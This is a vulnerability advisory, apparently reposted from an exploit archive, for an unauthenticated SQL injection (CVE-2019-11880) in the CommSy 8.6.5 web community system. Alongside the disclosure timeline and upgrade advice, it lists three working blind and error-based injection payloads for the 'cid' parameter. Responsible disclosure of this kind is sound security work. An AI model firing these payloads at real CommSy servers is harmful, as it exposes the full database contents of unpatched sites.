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CommSy 8.6.5 - SQL injection Vulnerability
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[Security Risk High
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Title: ====== CommSy 8.6.5 - SQL injection Researcher: =========== Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG CVE-ID: ======= CVE-2019-11880 Timeline: ========= 2019-04-15 Vulnerability discovered 2019-04-15 Asked for security contact and PGP key 2019-04-16 Send details to the vendor 2019-05-07 Flaw was approved but will not be fixed in branch 8.6 2019-05-15 Public disclosure Affected Products: ================== CommSy <= 8.6.5 Vendor Homepage: ================ https://www.commsy.net Details: ======== CommSy is a web-based community system, originally developed at the University of Hamburg, Germany, to support learning/working communities. We have discovered a unauthenticated SQL injection vulnerability in CommSy <= 8.6.5 that makes it possible to read all database content. The vulnerability exists in the HTTP GET parameter "cid". Proof of Concept: ================= boolean-based blind: commsy.php?cid=101" AND 3823=(SELECT (CASE WHEN (3823=3823) THEN 3823 ELSE (SELECT 7548 UNION SELECT 4498) END))-- dGRD&mod=context&fct=login error-based: commsy.php?cid=101" AND (SELECT 6105 FROM(SELECT COUNT(*),CONCAT(0x716a767871,(SELECT (ELT(6105=6105,1))),0x716b6a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jzQs&mod=context&fct=login time-based blind: commsy.php?cid=101" AND SLEEP(5)-- MjJM&mod=context&fct=login Fix: ==== According to the manufacturer, the version branch 8.6 is no longer supported and the vulnerability will not be fixed. Customers should update to the newest version 9.2. # 0day.today [2024-12-26] #